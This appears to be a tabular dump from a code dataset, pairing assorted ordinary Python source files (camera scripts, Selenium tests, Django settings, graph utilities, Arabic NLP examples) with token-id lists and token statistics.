content stringlengths 1 1.04M | input_ids listlengths 1 774k | ratio_char_token float64 0.38 22.9 | token_count int64 1 774k |
|---|---|---|---|
import io
import os
import subprocess
file_open = open
def reader(path):
"""
Turns a path to a dump file into a file-like object of (decompressed)
XML data assuming that '7z' is installed and will know what to do.
:Parameters:
path : `str`
the path to the dump file to read
"""
p = subprocess.Popen(
['7z', 'e', '-so', path],
stdout=subprocess.PIPE,
stderr=file_open(os.devnull, "w")
)
return io.TextIOWrapper(p.stdout, encoding='utf-8',
errors='replace')
| [
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# import the necessary packages
from picamera.array import PiRGBArray
from picamera import PiCamera
import collections, operator
import time
import json
import cv2
import csv
import numpy
# initialize the camera and grab a reference to the raw camera capture
camera = PiCamera()
camera.resolution = (640, 480)
camera.framerate = 32
rawCapture = PiRGBArray(camera, size=(640, 480))
# allow the camera to warmup
time.sleep(0.1)
previousImage = None
absDiffHistory = collections.deque(maxlen=20)
max_idx = 10
current_idx = 0
template_message = "Press l for landfill, c for compost, r for recycle"
nextMessage = template_message
# capture frames from the camera
for frame in camera.capture_continuous(rawCapture, format="bgr", use_video_port=True):
# grab the raw NumPy array representing the image, then initialize the timestamp
# and occupied/unoccupied text
image = frame.array
# Do a bunch of processing
SAD = None
if previousImage is not None:
SAD = sum(cv2.sumElems(cv2.absdiff(previousImage, image)))
# if we have enough history, check for changes
if len(absDiffHistory) > 18:
prevLast = absDiffHistory[-1]
absDiffHistory.append(SAD)
stddev = numpy.std(absDiffHistory)
mean = sum(absDiffHistory)/len(absDiffHistory)
threshold = prevLast * -1.0 + mean * 2.0 + stddev * 2.0
if threshold < SAD:
file_name = '/var/tmp/{0}.jpg'.format(current_idx % max_idx)
cv2.imwrite(file_name, image)
current_idx += 1
print("Over threshold and not blur! ", file_name)
elif SAD is not None:
# just append and do nothing
absDiffHistory.append(SAD)
previousImage = image
# show the frame
cv2.putText(image, nextMessage, (30, 30), cv2.FONT_HERSHEY_SIMPLEX, 1, (255, 120, 255), 3)
try:
with open('/var/tmp/topics.csv') as infile:
reader = csv.reader(infile, delimiter='\t')
topics = {row[0] : row[1] for row in reader}
topics = {k:v for k, v in topics.iteritems() if float(v) > 0.1}
sorted_topics = sorted(topics.items(), key=operator.itemgetter(1), reverse=True)[:3]
idx = 0
for k, v in sorted_topics:
cv2.putText(image, k, (100, 60 * (idx + 1)), cv2.FONT_HERSHEY_SIMPLEX, 1, (255, 120, 255), 3)
idx += 1
except Exception as e:
print('show exception', e)
cv2.imshow("Frame", image)
key = cv2.waitKey(1) & 0xFF
# clear the stream in preparation for the next frame
rawCapture.truncate(0)
# if the `q` key was pressed, break from the loop
if key == ord("c"):
nextMessage = "It is compost!"
time.sleep(0.5)
elif key == ord("r"):
nextMessage = "It is recycle!"
time.sleep(0.5)
elif key == ord("l"):
nextMessage = "It is landfill!"
time.sleep(0.5)
else:
nextMesage = template_message
| [
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... | 2.426689 | 1,214 |
from gennav.planners.base import Planner # noqa: F401
from gennav.planners.potential_field import PotentialField # noqa: F401
from gennav.planners.prm import PRM, PRMStar # noqa: F401
from gennav.planners.rrt import RRG, RRT, InformedRRTstar, RRTConnect # noqa: F401
| [
6738,
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13,
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13,
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15878,
220,
1303,
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... | 2.656863 | 102 |
import matplotlib.pyplot as plt2
import numpy as np4
import matplotlib as mpl
import matplotlib as mpl2
mpl.rcParams['font.family'] = 'sans-serif'
mpl.rcParams['font.sans-serif'] = 'NSimSun,Times New Roman'
(t, a, b, c, d, e, lat, lon, hgt, f, g, h, i, j) = np4.loadtxt('/home/abner/UFO/ecl/EKF/build/data/gps_data.txt', unpack=True)
fig2 = plt2.figure()
cx1 = fig2.add_subplot(131)
cx1.plot(t, lat)
cx2 = fig2.add_subplot(132)
cx2.plot(t, lon)
cx3 = fig2.add_subplot(133)
cx3.plot(t, hgt)
plt2.show()
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1... | 1.926471 | 272 |
import pytest
from rhc.httphandler import HTTPHandler
from rhc.resthandler import RESTRequest
@pytest.fixture
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#
# For this is how God loved the world:<br/>
# he gave his only Son, so that everyone<br/>
# who believes in him may not perish<br/>
# but may have eternal life.
#
# John 3:16
#
from OpenGL.GL import *
import OpenGL.extensions
import numpy as np
from aRibeiro.window import *
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... | 3.088889 | 90 |
# Generated by Django 2.2.7 on 2019-12-23 20:30
from django.db import migrations, models
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2,
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from selenium import webdriver
from webdriver_manager.chrome import ChromeDriverManager
driver = webdriver.Chrome(ChromeDriverManager().install())
driver.implicitly_wait(10)
driver.maximize_window()
driver.get("http://www.kurs-selenium.pl/demo/")
driver.find_element_by_xpath("//span[text()='Search by Hotel or City Name']").click()
driver.find_element_by_xpath("//div[@id='select2-drop']//input").send_keys('Dubai')
driver.find_element_by_xpath("//span[text()='Dubai']").click()
driver.find_element_by_name("checkin").send_keys("22/10/2019")
driver.find_element_by_name("checkout").send_keys("29/10/2019")
driver.find_element_by_id("travellersInput").click()
driver.find_element_by_id("adultInput").clear()
driver.find_element_by_id("adultInput").send_keys("4")
driver.find_element_by_xpath("//button[text()=' Search']").click()
hotels = driver.find_elements_by_xpath("//h4[contains(@class,'list_title')]//b")
hotel_names = [hotel.text for hotel in hotels]
for name in hotel_names:
print("Hotel name: " + name)
print(len(hotels))
print("test - 1")
print("test - 2")
# prices = driver.find_elements_by_xpath("//div[contains(@class,'price_tab')]//b")
# price_values = [price.get_attribute("textContent") for price in prices]
# for price in price_values:
# print("Cena to: " + price)
# assert hotel_names[0] == 'Jumeirah Beach Hotel'
# assert hotel_names[1] == 'Oasis Beach Tower'
# assert hotel_names[2] == 'Rose Rayhaan Rotana'
# assert hotel_names[3] == 'Hyatt Regency Perth'
# assert price_values[0] == '$22'
# assert price_values[1] == '$50'
# assert price_values[2] == '$80'
# assert price_values[3] == '$150'
driver.close()
driver.quit() | [
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23928... | 2.752475 | 606 |
# coding: utf8
"""
This software is licensed under the Apache 2 license, quoted below.
Copyright 2015 Crystalnix Limited
Licensed under the Apache License, Version 2.0 (the "License"); you may not
use this file except in compliance with the License. You may obtain a copy of
the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
License for the specific language governing permissions and limitations under
the License.
"""
import pytz
from datetime import datetime
from django.forms import IntegerField
from django.core.validators import MinValueValidator
from dynamic_preferences.types import IntegerPreference, ChoicePreference
from dynamic_preferences.registries import global_preferences_registry
from django_select2.forms import Select2Widget
@global_preferences_registry.register
@global_preferences_registry.register
@global_preferences_registry.register
@global_preferences_registry.register
@global_preferences_registry.register
@global_preferences_registry.register
@global_preferences_registry.register
@global_preferences_registry.register
@global_preferences_registry.register
global_preferences = global_preferences_registry
global_preferences_manager = global_preferences.manager()
| [
2,
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25,
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... | 3.610973 | 401 |
from .__info__ import __package_name__
from .__info__ import __description__
from .__info__ import __url__
from .__info__ import __version__
from .__info__ import __author__
from .__info__ import __author_email__
from .__info__ import __license__
from .__info__ import __copyright__
from .api import duckdns_update
| [
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834,
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... | 3.302083 | 96 |
from django.apps import AppConfig
from django.utils.translation import ugettext_lazy as _
| [
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from __future__ import print_function, absolute_import, division # makes KratosMultiphysics backward compatible with python 2.6 and 2.7
import sys
# Importing the Kratos Library
import KratosMultiphysics
from python_solver import PythonSolver
# Import applications
import KratosMultiphysics.FluidDynamicsApplication as KratosCFD
## FluidSolver specific methods.
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... | 3.52381 | 105 |
# State types
from __future__ import absolute_import
from __future__ import unicode_literals
JOB_STATE = 'job_state'
MCP_STATE = 'mcp_state'
MESOS_STATE = 'mesos_state'
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131... | 2.816667 | 60 |
import sys
adder = lambda x, y: x + y
if(len(sys.argv) == 3):
x = int(sys.argv[1])
y = int(sys.argv[2])
z = adder(x, y)
print (x, " + ", y, " = ", z )
else:
print ("You need to include the 2 numbers you want me to add. For example:")
print ("python.py " + sys.argv[0], " 4 5") | [
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8... | 2.145833 | 144 |
from typing import TypeVar, NewType, Union, List, Dict
SampleType = TypeVar("SampleType")
StringType = str
WordType = TokenType = NewType("TokenType", str)
TokenListType = WordListType = List[TokenType]
SentenceType = Union[StringType, TokenListType]
MultiwozSampleType = Dict[str, Union[None, list, dict]]
MultiwozDatasetType = Dict[str, MultiwozSampleType]
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from .opto import opto | [
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] | 3.142857 | 7 |
import logging
import sys
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#-------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License.
#--------------------------------------------------------------------------
import argparse
import onnxruntime as onnxrt
import numpy as np
import pandas as pd
from data_frame_tool import DataFrameTool
import os
import sys
if __name__ == "__main__":
sys.exit(main())
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1... | 4.556701 | 97 |
import os
import shutil
from copy import deepcopy
from glob import glob
from pathlib import Path
import opendatasets as od
import pytorch_lightning as pl
import torch
from PIL import Image, ImageChops
from pytorch_lightning.callbacks import ModelCheckpoint
from tqdm.auto import tqdm
# https://github.com/HabanaAI/Model-References/blob/master/PyTorch/computer_vision/segmentation/Unet/utils/utils.py
if __name__ == "__main__":
get_data()
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"""Add a support plate to a wll assembly and identify the interfaces.
Steps
-----
1. Load an assembly from a json file
2. Compute the footprint of the assembly
3. Add a support in the XY plane at least the size to the footprint
4. Compute the interfaces of the assembly
5. Serialise the result
Parameters
----------
NMAX : int
Maximum number of neighbors to be taken into account for the interface detection.
Due to the shape of the support and the width of the wall, this number needs
to be relatively high...
AMIN : float
The minimum area of overlap between two faces for them to be considered to
be in contact.
Exercise
--------
Change the values of ``NMAX`` and ``AMIN`` to understand their effect.
Notes
-----
Increasing ``NMAX`` is not necessary if the bottom blocks each have an individual support.
"""
import os
from compas_assembly.datastructures import Assembly
from compas_assembly.datastructures import assembly_interfaces_numpy
HERE = os.path.dirname(__file__)
DATA = os.path.join(HERE, '../data')
PATH_FROM = os.path.join(DATA, '07_wall_supported.json')
PATH_TO = os.path.join(DATA, '08_wall_interfaces.json')
# parameters
NMAX = 100
AMIN = 0.0001
# load assembly from JSON
assembly = Assembly.from_json(PATH_FROM)
# identify the interfaces
assembly_interfaces_numpy(assembly, nmax=100, amin=0.0001)
# serialise
assembly.to_json(PATH_TO)
| [
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... | 3.048626 | 473 |
from pvlib.iotools.tmy import read_tmy2 # noqa: F401
from pvlib.iotools.tmy import read_tmy3 # noqa: F401
from pvlib.iotools.srml import read_srml # noqa: F401
from pvlib.iotools.srml import read_srml_month_from_solardat # noqa: F401
from pvlib.iotools.surfrad import read_surfrad # noqa: F401
from pvlib.iotools.midc import read_midc # noqa: F401
from pvlib.iotools.midc import read_midc_raw_data_from_nrel # noqa: F401
| [
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62,
83,
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220,
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20402,... | 2.351648 | 182 |
# Copyright 2016-present CERN – European Organization for Nuclear Research
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import unittest
from unittest import TestCase
import numpy as np
import pandas as pd
from qf_lib.common.timeseries_analysis.risk_contribution_analysis import RiskContributionAnalysis
from qf_lib.containers.dataframe.cast_dataframe import cast_dataframe
from qf_lib.containers.dataframe.simple_returns_dataframe import SimpleReturnsDataFrame
from qf_lib.containers.series.qf_series import QFSeries
from qf_lib.containers.series.simple_returns_series import SimpleReturnsSeries
from qf_lib_tests.helpers.testing_tools.containers_comparison import assert_series_equal
if __name__ == '__main__':
unittest.main()
| [
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2... | 3.279487 | 390 |
import tensorflow as tf
import numpy as np
import logging
logging.basicConfig(format='%(levelname)s:%(message)s', level=logging.DEBUG)
import matplotlib
matplotlib.use('Agg')
import matplotlib.pyplot as plt
from NanoporeData import NanoporeData
from FakeNanoporeData import FakeNanoporeData
from NanoporeModel import NanoporeModel
# Constants
seed=42
# Input data
simulate=True
# Simulated
num_classes = 4 # Nanopore data has exactly four classes, A, C, G AND T.
num_features = 1024 # Fix input sequence length.
# Real
data_dir = "nanopore_data"
# Input size
batch_size = 64 # Number of inputs per batch
num_examples = 50 if not simulate else 8192 * 16 # Number of inputs per epoch
# Model building
num_encode_layers = 1
conv_widths = [3, 7, 15]
conv_size = 32
output_embedding_size = 16
num_decode_layers = 2
rnn_size = 64
checkpoint = "best_model.ckpt"
# In[209]:
np.random.seed(seed)
if simulate:
data = FakeNanoporeData(batch_size, num_examples, num_features, num_classes)
else:
data = NanoporeData(data_dir, batch_size, max_files = num_examples)
logging.info("Building network...")
model = NanoporeModel(data.input_embedding_matrix,
num_classes,
batch_size,
output_embedding_size,
conv_size,
conv_widths,
num_encode_layers,
rnn_size,
num_decode_layers,
seed=seed)
logging.info("Testing predictions...")
outputs_batch, inputs_batch, outputs_lengths, inputs_lengths = next(data.get_test_batches(label_means=True))
train_outputs_batch, train_inputs_batch, train_outputs_lengths, train_inputs_lengths = next(data.get_train_batches(label_means=True))
loaded_graph = model.train_graph
with tf.Session(graph=loaded_graph) as sess:
# Load saved model
#loader = tf.train.import_meta_graph(checkpoint + '.meta')
model.saver.restore(sess, "mean_" + checkpoint)
train_predictions = sess.run(model.mean_detector.output, {model.input_data: train_inputs_batch,
model.summary_length: train_outputs_lengths,
model.text_length: train_inputs_lengths,
model.keep_prob: 1.0, model.min_mean: data.min_mean,
model.max_mean: data.max_mean})
test_predictions = sess.run(model.mean_detector.output, {model.input_data: inputs_batch,
model.summary_length: outputs_lengths,
model.text_length: inputs_lengths,
model.keep_prob: 1.0, model.min_mean: data.min_mean,
model.max_mean: data.max_mean})
fig = plt.figure()
ax1 = fig.add_subplot(211)
ax2 = fig.add_subplot(212)
ax1.plot(range(start,end), train_inputs_batch[0][start:end])
ax2.plot(range(start,end), train_outputs_batch[0][start:end], '--', range(start,end), train_predictions[0][start:end], '-r')
fig.savefig("train_mean.png", bbox_inches='tight')
#plt.show()
fig = plt.figure()
ax1 = fig.add_subplot(211)
ax2 = fig.add_subplot(212)
ax1.plot(range(start,end), inputs_batch[0][start:end])
ax2.plot(range(start,end), outputs_batch[0][start:end], '--', range(start,end), test_predictions[0][start:end], '-r')
fig.savefig("test_mean.png", bbox_inches='tight')
#plt.show()
logging.info("Run complete.")
# In[ ]:
| [
198,
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3256,
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... | 2.152999 | 1,634 |
#!/usr/bin/env python
#-*- encoding: utf8 -*-
import sys
import argparse
import getpass
import paramiko
def parse_args():
"""parse args for binloginfo gtid"""
parser = argparse.ArgumentParser(description='Get MySQL Binlog info by GTID', add_help=False)
connect_params = parser.add_argument_group('connect params')
connect_params.add_argument('-h', '--host', dest='host', type=str, help='MySQL Server Host', default='127.0.0.1')
connect_params.add_argument('-P', '--port', dest='port', type=int, help='MySQL Server Host Port', default=3306)
connect_params.add_argument('-u', '--user', dest='user', type=str, help='MySQL User Loginame', default='root')
connect_params.add_argument('-p', '--password', dest='password', type=str, help='MySQL User Password', nargs='*', default='')
parser.add_argument('--server_user', dest='server_user', type=str, help='MySQL Machine user name', default='root')
parser.add_argument('--server_password', dest='server_password', type=str, help='MySQL Machine user password', nargs='*', default='')
parser.add_argument('--server_uuid', dest='server_uuid', type=str, help='MySQL Instance Server UUID', default='')
parser.add_argument('--transno', dest='transno', type=str, help="MySQL Instance GTID transaction no", default='')
parser.add_argument('--help', dest='help', action='store_true', help='help information', default=False)
return parser
| [
2,
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14,
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2,
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9,
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5772,
12125,
198,
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62,
22046,
... | 3.029661 | 472 |
from sklearn.ensemble import AdaBoostClassifier
from sklearn import datasets
from sklearn.model_selection import train_test_split
from sklearn import metrics
iris = datasets.load_iris()
X = iris.data
y = iris.target
print('data: ', X, '\n')
print('target: ', y, '\n')
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3)
print ('X_train ', X_train , '\n')
print ('X_test ', X_test , '\n')
print ('y_train ', y_train , '\n')
print ('y_test ', y_test , '\n')
abc = AdaBoostClassifier(n_estimators=50, learning_rate=1)
model = abc.fit(X_train, y_train)
y_pred = model.predict(X_test)
print("Accuracy:",metrics.accuracy_score(y_test, y_pred))
print ('y_pred ', X_train , '\n')
# print ('Check ', y_pred == X_test, '\n') | [
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... | 2.508418 | 297 |
import argparse
import easydict
import numpy as np
import pandas as pd
from datetime import timedelta
import torch
from utils.preprocessor import csv_to_pd
from utils.plots import plot_inference_result
from models.transformer import transformer
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('--test_data', type=str, help='path to the test data')
parser.add_argument('--weight', type=str, help='path to the weight file')
parser.add_argument('--pred_csv', type=str, help='path to the prediction output')
opt = parser.parse_args()
prediction, ahead = inference(opt)
write_down(prediction, ahead, opt.pred_csv) | [
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... | 2.900826 | 242 |
# Generated by Django 2.2.2 on 2019-07-08 11:12
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
import processes.models.user_profile
| [
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... | 2.913043 | 69 |
# type: ignore
import pytest
from sifter.extensions import ExtensionRegistry
from sifter.grammar.state import EvaluationState
| [
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3876,
13,
5219,
1330,
34959,
9012,
628
] | 3.794118 | 34 |
#!/bin/python
import os
import time
import pickle
import matplotlib.pyplot as pl
metrics={}
if __name__=="__main__":
#metrics["/sys/fs/cgroup/memory/memory.failcnt"] =[]
#metrics["/sys/fs/cgroup/memory/memory.kmem.failcnt"] =[]
#metrics["/sys/fs/cgroup/memory/memory.kmem.limit_in_bytes"] =[]
#metrics["/sys/fs/cgroup/memory/memory.kmem.usage_in_bytes"] =[]
#metrics["/sys/fs/cgroup/memory/memory.limit_in_bytes"] =[]
#metrics["/sys/fs/cgroup/memory/memory.max_usage_in_bytes"] =[]
#metrics["/sys/fs/cgroup/memory/memory.memsw.usage_in_bytes"]=[]
#metrics["/sys/fs/cgroup/memory/memory.usage_in_bytes"] =[]
#metrics["/sys/fs/cgroup/memory/memory.stat"] =[]
metrics["/proc/meminfo"]=["MemFree:","MemAvailable:","Buffers:","Cached:",
"SwapCached:","Active:","Inactive:","SwapTotal:",
"SwapFree:","Dirty:","Writeback:","AnonPages:",
"Mapped:","Shmem:","Slab:","SReclaimable:","SUnreclaim:",
"PageTables:","Active(anon):","Inactive(anon):",
"Active(file):","Inactive(file):","Unevictable:"
]
ttime=90
while ttime>0:
##read metrics from files
for key in metrics.keys():
read_metrics(key)
ttime=ttime-0.05
time.sleep(0.05)
draw_metrics()
| [
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34758,
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198,
220,
220,
220,
220,
220,
220,
220,
220,
198,
... | 1.879899 | 791 |
from farasa.pos import FarasaPOSTagger
from farasa.ner import FarasaNamedEntityRecognizer
from farasa.diacratizer import FarasaDiacritizer
from farasa.segmenter import FarasaSegmenter
from farasa.stemmer import FarasaStemmer
# https://r12a.github.io/scripts/tutorial/summaries/arabic
sample = """
يُشار إلى أن اللغة العربية يتحدثها أكثر من 422 مليون نسمة ويتوزع متحدثوها في المنطقة المعروفة باسم الوطن العربي بالإضافة إلى العديد من المناطق الأخرى المجاورة مثل الأهواز وتركيا وتشاد والسنغال وإريتريا وغيرها. وهي اللغة الرابعة من لغات منظمة الأمم المتحدة الرسمية الست منذ 99/9/1999. /
"""
"""
---------------------
non interactive mode
---------------------
"""
print("original sample:", sample)
print("----------------------------------------")
print("Farasa features, noninteractive mode.")
print("----------------------------------------")
segmenter = FarasaSegmenter()
segmented = segmenter.segment(sample)
print("sample segmented:", segmented)
print("----------------------------------------------")
stemmer = FarasaStemmer()
stemmed = stemmer.stem(sample)
print("sample stemmed:", stemmed)
print("----------------------------------------------")
pos_tagger = FarasaPOSTagger()
pos_tagged = pos_tagger.tag(sample)
print("sample POS Tagged", pos_tagged)
print("----------------------------------------------")
pos_tagger_interactive = FarasaPOSTagger()
pos_tagged_interactive = pos_tagger_interactive.tag_segments(sample)
print("sample POS Tagged Segments", pos_tagged_interactive)
print("----------------------------------------------")
named_entity_recognizer = FarasaNamedEntityRecognizer()
named_entity_recognized = named_entity_recognizer.recognize(sample)
print("sample named entity recognized:", named_entity_recognized)
print("----------------------------------------------")
diacritizer = FarasaDiacritizer()
diacritized = diacritizer.diacritize(sample)
print("sample diacritized:", diacritized)
print("----------------------------------------------")
"""
---------------------
interactive mode
---------------------
"""
print("----------------------------------------")
print("Farasa features, interactive mode.")
print("----------------------------------------")
segmenter_interactive = FarasaSegmenter(interactive=True)
segmented_interactive = segmenter_interactive.segment(sample)
print("sample segmented (interactive):", segmented_interactive)
print("----------------------------------------------")
stemmer_interactive = FarasaStemmer(interactive=True)
stemmed_interactive = stemmer_interactive.stem(sample)
print("sample stemmed (interactive):", stemmed_interactive)
print("----------------------------------------------")
pos_tagger_interactive = FarasaPOSTagger(interactive=True)
pos_tagged_interactive = pos_tagger_interactive.tag(sample)
print("sample POS Tagged (interactive)", pos_tagged_interactive)
print("----------------------------------------------")
pos_tagger_interactive = FarasaPOSTagger(interactive=True)
pos_tagged_interactive = pos_tagger_interactive.tag_segments(sample)
print("sample POS Tagged Segments (interactive)", pos_tagged_interactive)
print("----------------------------------------------")
named_entity_recognizer_interactive = FarasaNamedEntityRecognizer(interactive=True)
named_entity_recognized_interactive = named_entity_recognizer_interactive.recognize(
sample
)
print(
"sample named entity recognized (interactive):", named_entity_recognized_interactive
)
print("----------------------------------------------")
diacritizer_interactive = FarasaDiacritizer(interactive=True)
diacritized_interactive = diacritizer_interactive.diacritize(sample)
print("sample diacritized (interactive):", diacritized_interactive)
print("----------------------------------------------")
| [
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35,
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799,
75... | 3.202391 | 1,171 |
import numpy as np
import torch
from torch_geometric.utils import remove_self_loops, to_undirected
def erdos_renyi_graph(num_nodes, edge_prob, directed=False):
r"""Returns the :obj:`edge_index` of a random Erdos-Renyi graph.
Args:
num_nodes (int): The number of nodes.
edge_prob (float): Probability of an edge.
directed (bool, optional): If set to :obj:`True`, will return a
directed graph. (default: :obj:`False`)
"""
if directed:
idx = torch.arange((num_nodes - 1) * num_nodes)
idx = idx.view(num_nodes - 1, num_nodes)
idx = idx + torch.arange(1, num_nodes).view(-1, 1)
idx = idx.view(-1)
else:
idx = torch.combinations(torch.arange(num_nodes), r=2)
# Filter edges.
mask = torch.rand(idx.size(0)) < edge_prob
idx = idx[mask]
if directed:
row = idx.div(num_nodes, rounding_mode='floor')
col = idx % num_nodes
edge_index = torch.stack([row, col], dim=0)
else:
edge_index = to_undirected(idx.t(), num_nodes=num_nodes)
return edge_index
def stochastic_blockmodel_graph(block_sizes, edge_probs, directed=False):
r"""Returns the :obj:`edge_index` of a stochastic blockmodel graph.
Args:
block_sizes ([int] or LongTensor): The sizes of blocks.
edge_probs ([[float]] or FloatTensor): The density of edges going
from each block to each other block. Must be symmetric if the
graph is undirected.
directed (bool, optional): If set to :obj:`True`, will return a
directed graph. (default: :obj:`False`)
"""
size, prob = block_sizes, edge_probs
if not isinstance(size, torch.Tensor):
size = torch.tensor(size, dtype=torch.long)
if not isinstance(prob, torch.Tensor):
prob = torch.tensor(prob, dtype=torch.float)
assert size.dim() == 1
assert prob.dim() == 2 and prob.size(0) == prob.size(1)
assert size.size(0) == prob.size(0)
if not directed:
assert torch.allclose(prob, prob.t())
node_idx = torch.cat([size.new_full((b, ), i) for i, b in enumerate(size)])
num_nodes = node_idx.size(0)
if directed:
idx = torch.arange((num_nodes - 1) * num_nodes)
idx = idx.view(num_nodes - 1, num_nodes)
idx = idx + torch.arange(1, num_nodes).view(-1, 1)
idx = idx.view(-1)
row = idx.div(num_nodes, rounding_mode='floor')
col = idx % num_nodes
else:
row, col = torch.combinations(torch.arange(num_nodes), r=2).t()
mask = torch.bernoulli(prob[node_idx[row], node_idx[col]]).to(torch.bool)
edge_index = torch.stack([row[mask], col[mask]], dim=0)
if not directed:
edge_index = to_undirected(edge_index, num_nodes=num_nodes)
return edge_index
def barabasi_albert_graph(num_nodes, num_edges):
r"""Returns the :obj:`edge_index` of a Barabasi-Albert preferential
attachment model, where a graph of :obj:`num_nodes` nodes grows by
attaching new nodes with :obj:`num_edges` edges that are preferentially
attached to existing nodes with high degree.
Args:
num_nodes (int): The number of nodes.
num_edges (int): The number of edges from a new node to existing nodes.
"""
assert num_edges > 0 and num_edges < num_nodes
row, col = torch.arange(num_edges), torch.randperm(num_edges)
for i in range(num_edges, num_nodes):
row = torch.cat([row, torch.full((num_edges, ), i, dtype=torch.long)])
choice = np.random.choice(torch.cat([row, col]).numpy(), num_edges)
col = torch.cat([col, torch.from_numpy(choice)])
edge_index = torch.stack([row, col], dim=0)
edge_index, _ = remove_self_loops(edge_index)
edge_index = to_undirected(edge_index, num_nodes=num_nodes)
return edge_index
| [
11748,
299,
32152,
355,
45941,
198,
11748,
28034,
198,
198,
6738,
28034,
62,
469,
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13,
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1330,
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62,
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62,
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628,
198,
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1931,
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62,
918,
48111,
62,
34960,
7,
22510,
... | 2.310199 | 1,657 |
# ##### BEGIN GPL LICENSE BLOCK #####
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software Foundation,
# Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
#
# ##### END GPL LICENSE BLOCK #####
import bpy
bl_info = {
"name": "Bonjour Suzanne",
"author": "Dave Keeshan",
"version": (0, 0, 1),
"blender": (2, 80, 0),
"category": "Object",
}
class IMPORT_OT_xxx(bpy.types.Operator):
"""FIX ME"""
bl_idname = "import_scene.xxx"
bl_label = "Import SUZANNE"
bl_description = "FIX ME"
bl_options = {"REGISTER", "UNDO"}
VAR0 : bpy.props.BoolProperty(
name="Variable 0",
description="Set a Boolean value",
default=False,
)
@execute_decorator
classes = (
IMPORT_OT_xxx,
)
| [
2,
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9878,
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2,
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2,
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318,
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26,
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2,
220,
13096,
340,
739,
262,
2846,
286,
262,
22961,
3611,
5094,
1378... | 2.896996 | 466 |
from unittest import TestCase
from mock import patch
import responses
from pipedrive.Pipedrive import PipedriveAPIClient
| [
6738,
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1330,
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46647,
11590,
1330,
25149,
276,
11590,
2969,
2149,
75,
1153,
628
] | 3.69697 | 33 |
import unittest
from ethereum.tools import tester
import ethereum.utils as utils
import ethereum.abi as abi
def assert_tx_failed(ballot_tester, function_to_test, exception = tester.TransactionFailed):
""" Ensure that transaction fails, reverting state (to prevent gas exhaustion) """
initial_state = ballot_tester.s.snapshot()
ballot_tester.assertRaises(exception, function_to_test)
ballot_tester.s.revert(initial_state)
if __name__ == '__main__':
unittest.main()
| [
11748,
555,
715,
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6738,
304,
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13,
31391,
1330,
256,
7834,
198,
11748,
304,
17733,
13,
26791,
355,
3384,
4487,
198,
11748,
304,
17733,
13,
17914,
355,
450,
72,
198,
198,
4299,
6818,
62,
17602,
62,
47904,
7,
1894,
... | 2.98773 | 163 |
from os import read
import time
import board
import busio
from BatCurvInterp import BatCurvInterp
import numpy as np
import RPi.GPIO as GPIO
import subprocess
import adafruit_ads1x15.ads1115 as ADS
from adafruit_ads1x15.analog_in import AnalogIn
# Create the I2C bus
i2c = busio.I2C(board.SCL, board.SDA)
# Create the ADS object
ads = ADS.ADS1115(i2c)
# Create a differential channel on Pin 0 and Pin 1 for 1st cell
chan_1 = AnalogIn(ads, ADS.P0, ADS.P1)
# Create a differential channel on Pin 1 and Pin 2 for 2nd cell
chan_2 = AnalogIn(ads, ADS.P1, ADS.P3)
#Create Battery Charge Curve Interpolator (converts current voltage to percentage charge remaining in specific cell)
btinterp = BatCurvInterp(8) #8 represents the order of polynomial (8 was identified as the best during testing)
# Choose frequency of readings per second
READING_FREQ = 2
READING_DELAY = 1/READING_FREQ
# ADS1115 gain
# GAIN RANGE (V)
# 1 +/- 4.096
gain = 1
ads.gain = gain
# Set LED Pins
GPIO.setmode(GPIO.BCM)
RED_LED = 17
YELLOW_LED = 27
GREEN_LED = 22
# Set Off Button
OFF_BUTTON = 10
#Set Critical Battery Voltage
CRITIC_VOLT = 6.7
#function to safely switch off raspberry pi
def turn_off_rpi():
""" Use any of the below commands to turn off rpi from terminal
$ sudo halt
$ sudo poweroff
$ sudo shutdown -h now
$ sudo shutdown -h 10 #Shutdown in 10 mintues
$ sudo init 0"""
shut_down()
pass
# modular function to restart Pi TAKEN FROM https://learn.sparkfun.com/tutorials/raspberry-pi-safe-reboot-and-shutdown-button/all
# modular function to shutdown Pi TAKEN FROM https://learn.sparkfun.com/tutorials/raspberry-pi-safe-reboot-and-shutdown-button/all
#command variable has to be redefined to where the sbin is?
#Use the current voltage of both batteries, find their respective remaining power level and return the average
#Choose which led to light based on voltage level
#Initialize all inputs/outputs and interrupts
#Continuous loop for script to follow during on time
if __name__ == '__main__':
start()
| [
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198,
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198,
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26628,
85,
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79,
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85,
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32152,
355,
45941,
198,
11748,
25812,
72,
13,
16960,
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355,
... | 2.903497 | 715 |
from tests.integration.create_token import create_token
from tests.integration.integration_test_case import IntegrationTestCase
from tests.integration.mci import mci_test_urls
| [
6738,
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18908,
1358,
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62,
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62,
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62,
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20448,
198,
6738,
5254,
13,
18908,
1358,
13,
76,
979,
1330,
285,
979,... | 3.6875 | 48 |
import unittest
from xml.etree import ElementTree
from xml.etree.ElementTree import Element
from elifecrossref import tags
if __name__ == "__main__":
unittest.main()
| [
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628,
198,
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361,
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834,
6624,
3... | 3.035088 | 57 |
# import asyncio
import json
import typing
from nextcord.ext import commands
from functions import embed
# from discord_slash import cog_ext,SlashContext
| [
2,
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952,
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201,
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201,
198,
2,
422,
36446,
62,
6649,
1077,
1330... | 3.035714 | 56 |
from __future__ import unicode_literals
from django import template
from ..listings.stores import stores_loader
register = template.Library()
